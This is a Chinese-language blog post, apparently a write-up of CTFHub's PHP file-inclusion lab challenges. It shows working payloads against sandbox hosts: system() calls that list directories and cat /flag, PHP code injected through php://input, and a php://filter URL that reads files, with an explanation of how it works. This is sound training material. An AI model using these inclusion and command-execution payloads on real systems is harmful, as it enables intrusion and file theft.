ctfhub文件包含

文件包含

url

http://challenge-41cbfbe04828b338.sandbox.ctfhub.com:10800/

构造url,利用hackabar进行Post data修改测试

http://challenge-41cbfbe04828b338.sandbox.ctfhub.com:10800/?file=shell.txt
ctfhub=system("ls");

ctfhub=system("ls /"); //查看根目录

ctfhub=system("cat /flag"); //查看flag

php://input

burp抓包构造payload

<?php system("ls");?>

查看根目录

查看flag文件

远程包含

开启靶场访问页面

可能存在文件包含漏洞

点击phpinfo,查看allow的两个选项是否开启

抓包测试

发送到repeter模块,构造payload

查看文件
<?php system("ls /"); ?>

查看flag文件内容,找到flag

读取源代码

查看页面

构造url读取flag

http://challenge-706aaf4604cfa60f.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
  1. 基本结构
    • http://challenge-706aaf4604cfa60f.sandbox.ctfhub.com:10800/:这是目标服务器的基本URL。
    • ?file=:这是一个查询参数,表明我们要访问某个文件。
  1. 流封装器部分
    • php://filter/:这是PHP的流封装器,用于应用不同的过滤器来操作流数据。
  1. 过滤器部分
    • resource=:这是php://filter封装器的一种模式,表示要对指定的资源应用过滤器。
    • /flag:这是实际的文件路径,表明我们想要读取的文件是/flag

详细分析:

  • php://filter
    • PHP中的php://filter流封装器允许我们在读取或写入数据时应用过滤器。
    • 通常,我们会在php://filter之后指定过滤器(如base64编码、转换为字符串等),然后指定资源。
  • resource=/flag
    • 这里没有指定具体的过滤器,仅使用resource=,意思是直接访问资源文件。
    • 目标文件是/flag,这个文件通常存储在服务器上,需要通过某种方式读取其内容。

实际读取过程:

  • 当服务器处理这个URL时,它会解析file参数并使用指定的流封装器。
  • php://filter/resource=/flag会被解释为:直接访问并读取/flag文件的内容。

假设服务器没有进一步的安全检查或限制,直接访问这个URL将导致服务器读取并返回/flag文件的内容。这样就可以通过浏览器或其他HTTP客户端看到/flag文件的内容,通常这个文件包含一些敏感信息,比如CTF比赛中的flag。

示例流程:

  1. 你访问这个URL。
  2. 服务器收到请求,解析查询参数file=php://filter/resource=/flag
  3. 服务器使用PHP的流封装器读取/flag文件的内容。
  4. 文件内容作为HTTP响应的主体返回给你。

  • 12
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值